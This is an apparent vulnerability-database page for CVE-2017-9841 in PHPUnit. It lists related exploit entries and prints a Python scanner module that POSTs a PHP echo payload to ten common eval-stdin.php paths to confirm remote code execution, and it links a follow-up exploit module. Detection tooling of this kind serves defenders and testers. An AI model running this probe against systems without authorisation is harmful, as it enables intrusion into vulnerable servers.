PHPUnit - eval-stdin.php RCE Detection (CVE-2017-9841)
| Reporter | Title | Published | Views | Family All 113 |
|---|---|---|---|---|
| PHP Unit 4.8.28 - Remote Code Execution (Unauthenticated) Exploit | 2 Feb 202200:00 | – | zdt | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 30 Aug 202512:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 13 Mar 202307:42 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 20 Mar 202207:01 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 8 Oct 202620:52 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 1 Mar 202614:44 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHPUnit eval-stdin.php unauthenticated RCE (CVE-2017-9841)."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PHPUnit - eval-stdin.php RCE Detection (CVE-2017-9841)',
'description': (
'Detects CVE-2017-9841 by POSTing PHP to vendor phpunit Util/PHP/eval-stdin.php '
'and checking for reflected echo output.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2017', 'phpunit', 'rce', 'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/phpunit_cve_2017_9841_rce'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-9841',
],
'cve': 'CVE-2017-9841',
}
PATHS = (
'/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php',
'/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/phpunit/src/Util/PHP/eval-stdin.php',
'/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/vendor/phpunit/src/Util/PHP/eval-stdin.php',
'/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
)
def run(self):
token = 'KS' + self.random_text(10)
payload = '<?php echo(base64_decode("' + base64.b64encode(token.encode()).decode() + '")); ?>'
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*'}
for path in self.PATHS:
r = self.http_request(
method='POST', path=path, data=payload, headers=headers, allow_redirects=False,
)
if r and token in (r.text or ''):
self.set_info(
severity='critical',
reason='PHPUnit eval-stdin.php RCE (CVE-2017-9841)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
8.2High risk
Vulners AI Score8.2
CVSS 27.5
CVSS 3.19.8
EPSS0.99999
SSVC